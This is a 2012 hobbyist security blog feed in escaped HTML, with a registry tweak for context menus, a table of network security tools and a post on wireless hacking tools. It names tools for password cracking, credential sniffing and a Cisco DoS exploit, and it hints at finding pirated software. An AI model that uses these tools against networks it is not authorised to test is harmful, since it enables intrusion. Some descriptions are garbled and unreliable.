&lt;b&gt;&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;HKEY_CLASSES_ROOT\Folder&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;Click the + sign next to Folder and expand it so that the Shell key is
visible. Right click the Shell key and choose New&amp;gt;Key and name the key
Notepad or whatever else you'd prefer (whatever the key is named is what will
appear in the right-click menu). Now right click the new key you made and
create another key named Command. Then, in the right hand pane, double click
"Default" and enter Notepad.exe as the value.&lt;br /&gt;
Exit the registry, refresh, and right click any folder. Notepad should now be
on the context menu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For files, go here again:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;&lt;br /&gt;
&lt;b&gt;HKEY_CLASSES_ROOT\*&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;Expand the * key and see if a Shell key exists. If it does exist, follow
the same procedure as for folders. If it does not exist, you'll have to create
a new Shell first. Just right click the * key and choose New&amp;gt;Key and name it
Shell. Then right click the Shell key and continue on the same way you did for
adding items to the right click menu of folders.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;Once done, Notepad should appear as an option in the right click menu of
all your files.&lt;/span&gt;&lt;span lang="EN-CA" style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-7289772630530257661?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/7289772630530257661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/how-to-remove-and-add-right-click-menu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/7289772630530257661?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/7289772630530257661?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/how-to-remove-and-add-right-click-menu.html' title='How To Remove and Add Right-Click Menu Items from Files and Folders'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A0YGRn89cCp7ImA9WhVSGEk.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-980878663021659369</id><published>2012-03-15T14:11:00.000-07:00</published><updated>2012-03-15T15:05:27.168-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-15T15:05:27.168-07:00</app:edited><title></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;table border="0" cellpadding="5" cellspacing="5" style="width: 601px;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://nessus.org/" target="_blank"&gt;Nessus&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;The "Nessus" Project aims to provide to the internet community a free, powerful, up-to-date and easy to use remote security scanner for Linux, BSD, Solaris, and other flavors of Unix.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://ethereal.com/" target="_blank"&gt;Ethereal&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Ethereal is a free network protocol analyzer for Unix and Windows. Ethereal has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://snort.org/" target="_blank"&gt;Snort&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Snort is an open source network intrusion detection system, capable of performing real-time traffic analysis and packet logging on IP networks.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://netcat.com/" target="_blank"&gt;Netcat&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Netcat has been dubbed the network swiss army knife. It is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://www.tcpdump.org/" target="_blank"&gt;TCPdump&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;TCPdump is the most used network sniffer/analyzer for UNIX.&amp;nbsp;&lt;a href="http://www.tcptrace.org/"&gt;TCPTrace&lt;/a&gt;&amp;nbsp;analyzes the dump file format generated by TCPdump and other applications.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://hping.org/" target="_blank"&gt;Hping&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Hping is a command-line oriented TCP/IP packet assembler/analyzer, kind of like the “ping” program (but with a lot of extensions).&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://dnsiff/" target="_blank"&gt;DNSiff&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;DNSiff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.).&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://www.gfi.com/" target="_blank"&gt;GFI LANguard&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;GFI LANguard Network Security Scanner (N.S.S.) automatically scans your entire network, IP by IP, and plays the devil's advocate alerting you to security vulnerabilities.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://settercap.com/" target="_blank"&gt;Ettercap&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Ettercap is a multipurpose sniffer/interceptor/logger for switched LAN. It supports active and passive dissection of many protocols (even ciphered ones)and includes many feature for network and host analysis.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://www.nik.to/" target="_blank"&gt;Nikto&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 2500 potentially dangerous files/CGIs, versions on over 375 servers, and version specific problems on over 230 servers.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://johntheripper.net/" target="_blank"&gt;John the Ripper&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;John the Ripper is a fast password cracker, currently available for many flavors of Unix.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://openssh.org/" target="_blank"&gt;OpenSSH&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;OpenSSH is a FREE version of the SSH protocol suite of network connectivity tools, which encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://tripwire.com/" target="_blank"&gt;TripWire&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Tripwire is a tool that can be used for data and program integrity assurance.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://www.kismetwireless.net/" target="_blank"&gt;Kismet&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Kismet is an 802.11 wireless network sniffer - this is different from a normal network sniffer (such as Ethereal or tcpdump) because it separates and identifies different wireless networks in the area.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://netfilter.org/" target="_blank"&gt;NetFilter&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;NetFilter and iptables are the framework inside the Linux 2.4.x kernel which enables packet filtering, network address translation (NAT) and other packetmangling.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://zipfilter.com/" target="_blank"&gt;IP Filter&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;IP Filter is a software package that can be used to provide network address translation (NAT) or firewall services.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://tcp/IP%20Ports" target="_blank"&gt;fport&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;fport identifys all open TCP/IP and UDP ports and maps them to the owning application.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://saint.com/" target="_blank"&gt;SAINT&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;SAINT network vulnerability assessment scanner detects vulnerabilities in your network's security before they can be exploited.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align="left" valign="top" width="78"&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;&lt;a href="http://openpgp.org/" target="_blank"&gt;OpenPGP&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align="left" valign="top" width="481"&gt;&lt;small&gt;&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;OpenPGP is a non-proprietary protocol for encrypting email using public key cryptography. It is based on PGP as originally developed by Phil Zimmermann.&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-980878663021659369?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/980878663021659369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/nessus-nessus-project-aims-to-provide.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/980878663021659369?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/980878663021659369?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/nessus-nessus-project-aims-to-provide.html' title=''/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A0UGRno_fyp7ImA9WhVSGEk.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-2507427047763377038</id><published>2012-03-15T13:38:00.001-07:00</published><updated>2012-03-15T15:07:07.447-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-15T15:07:07.447-07:00</app:edited><title>some useful links</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;a href="http://www.howtogeek.com/" target="_blank"&gt;www.howtogeek.com&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;a href="http://www.wikipedia.org/" target="_blank"&gt;www.wikipedia.org&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="htt://msdn.microsoft.com" target="_blank"&gt;http://msdn.microsoft.com&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="htt://msdn.microsoft.com" target="_blank"&gt;http://&lt;/a&gt;&lt;a href="http://thewindowsclub.com/" target="_blank"&gt;thewindowsclub.com&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="htt://msdn.microsoft.com" target="_blank"&gt;http://&lt;/a&gt;&lt;a href="http://www.regedit.com/" target="_blank"&gt;www.regedit.com&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="htt://msdn.microsoft.com" target="_blank"&gt;http://&lt;/a&gt;&lt;a href="http://www.pcworld.com/" target="_blank"&gt;www.pcworld.com&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="htt://msdn.microsoft.com" target="_blank"&gt;http://&lt;/a&gt;&lt;a href="http://lifehacker.com/" target="_blank"&gt;lifehacker.com&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="htt://msdn.microsoft.com" target="_blank"&gt;http://&lt;/a&gt;&lt;a href="http://www.sevenforms.com/" target="_blank"&gt;www.sevenforms.com&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Hacker" target="_blank"&gt;http://en.wikipedia.org/wiki/Hacker&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Hacker_(computer_security)" target="_blank"&gt;http://en.wikipedia.org/wiki/Hacker_(computer_security)&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://thehackernews.com/" target="_blank"&gt;http://thehackernews.com/&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.whatismyipaddress.com/" target="_blank"&gt;http://www.whatismyipaddress.com&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-2507427047763377038?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/2507427047763377038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/some-useful-links.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/2507427047763377038?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/2507427047763377038?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/some-useful-links.html' title='some useful links'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DkAMRH87eSp7ImA9WhVSGEk.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-103706661906373282</id><published>2012-03-15T13:18:00.000-07:00</published><updated>2012-03-15T13:53:05.101-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-15T13:53:05.101-07:00</app:edited><title>wirless hack</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div id="wrapper" style="background-color: white; color: #555555; font-family: 'Trebuchet MS', verdana, Georgia; font-size: 10px; padding-bottom: 20px; padding-left: 30px; padding-right: 30px; padding-top: 20px; text-align: -webkit-auto;"&gt;
&lt;div id="content" style="float: left; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 576px;"&gt;
&lt;div class="post" id="post-1577" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: hidden; overflow-y: hidden; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: justify;"&gt;
&lt;div class="entry" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://www.hkactivity.com/wp-content/themes/wp-soul/images/border_h.gif); background-origin: initial; background-position: 50% 100%; background-repeat: repeat no-repeat; font-size: 1.4em; line-height: 1.4em; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;
&lt;a href="http://hackforhumanity.blogspot.in/" rel="nofollow" style="color: #2266aa; text-decoration: none;" target="_blank"&gt;Wireshark&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
On September midweek wireshark has been listed as most important open source program which can help a network Administrator for the windows platform. It is available for all&amp;nbsp;platforms including Mac OS and Linux. The windows version works with ease and can help you to perfectly determine all the loop holes in your wireless network. In short, you can count&amp;nbsp;it as something which can provide you better security if used under ethical aspect and it can be lethal if used for&amp;nbsp;ethical&amp;nbsp;means. All manuals and working principles are provide with&amp;nbsp;the program.&lt;/div&gt;
&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="kismet" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-3" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;


&lt;a href="http://www.kismetwireless.net/" rel="nofollow" style="color: #2266aa; text-decoration: none;"&gt;Kismet&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
A very simple yet effective program to find hidden wireless networks. There is nothing that a network admin can do to hide wireless channel from this program.It can easily identify802.11n,802.11g, 802.11a, &amp;nbsp;and 802.11b channels. All one can do is to provide a tough encryption (wep + wpa) so that the network is hard to break in. Though there are tools which can break it as well if cunningly exploited.&lt;/div&gt;
&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="network-miner" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-4" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;


&lt;a href="http://www.netresec.com/?page=NetworkMiner" rel="nofollow" style="color: #2266aa; text-decoration: none;"&gt;Network Miner&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
It is a very rarely used tool but I loved the way it functions. Many professional users are very much aware of it but wont easily share it up with all. It was developed as Forensic Analytic&amp;nbsp;tool for Netresec, but every ethical tool has been blended to work for unethical purpose by hackers.&lt;/div&gt;
&lt;div id="_mcePaste"&gt;
It supports a lot of features including Geo IP localization, command line scripting and OS fingerprinting. There are two version available for this tool – Free and Professional. &amp;nbsp;A little bit&amp;nbsp;of digging in Google can help you find a full version.&lt;/div&gt;
&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="net-stumbler" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-5" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;


&lt;a href="http://www.netstumbler.com/" rel="nofollow" style="color: #2266aa; text-decoration: none;"&gt;Net Stumbler&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
A very old program and I guess the development has been discontinued after 2009. You can download the program form the official website. The best thing about this program is that&amp;nbsp;it can help you with many things under one graphical user interface. Though it is not as much as efficient as the other tools listed in here but it is a good starter kit for beginners.&lt;/div&gt;
&lt;div id="_mcePaste"&gt;
It was very popularly used for war driving during the last part of the decade. The tool is not much lethal for modern day encryption but it is definitely competent enough to challenge the&amp;nbsp;wireless network.&lt;/div&gt;
&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="yersinia" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-6" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;


&lt;a href="http://www.yersinia.net/" rel="nofollow" style="color: #2266aa; text-decoration: none;"&gt;Yersinia&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
The current version supports Cisco VTP DoS exploit. It is best suited to find some major flaws in the network protocol and rectify/exploit them. It is used by many ethical hackers to&amp;nbsp;test the deployed network architecture. It can be used to test and compromise DHCP, Inter-switch Link protocol and VLAN Trunking protocol. If you are serious about learning the steps&amp;nbsp;of wireless hacking, this tool can&amp;nbsp;definitely&amp;nbsp;be your helping and learning guide.&lt;/div&gt;
&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="nmap" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;a class="toc-anchor" href="http://www.blogger.com/blogger.g?blogID=4998142750566450089" name="toc-anchor-1577-7" style="color: #2266aa;"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="font-family: 'Trebuchet MS', 'Lucida Grande', Arial, sans-serif; font-size: 1.2em;"&gt;


&lt;a href="http://www.nmap.org/" rel="nofollow" style="color: #2266aa; text-decoration: none;"&gt;Nmap&lt;/a&gt;&lt;/h3&gt;
&lt;div id="_mcePaste"&gt;
Network&amp;nbsp;Mapper is an open source program available under GPL. It was designed as security auditor and later implemented by many hackers for reverse engineering purpose. The&amp;nbsp;basic&amp;nbsp;steps&amp;nbsp;are very easy to understand and it can be a good tool to carry out post process tasks after carrying out the wireless attack. It has a bunch of versatile functions and almost&amp;nbsp;all of the functions can be easily used by any starter to pro hacker.&lt;/div&gt;
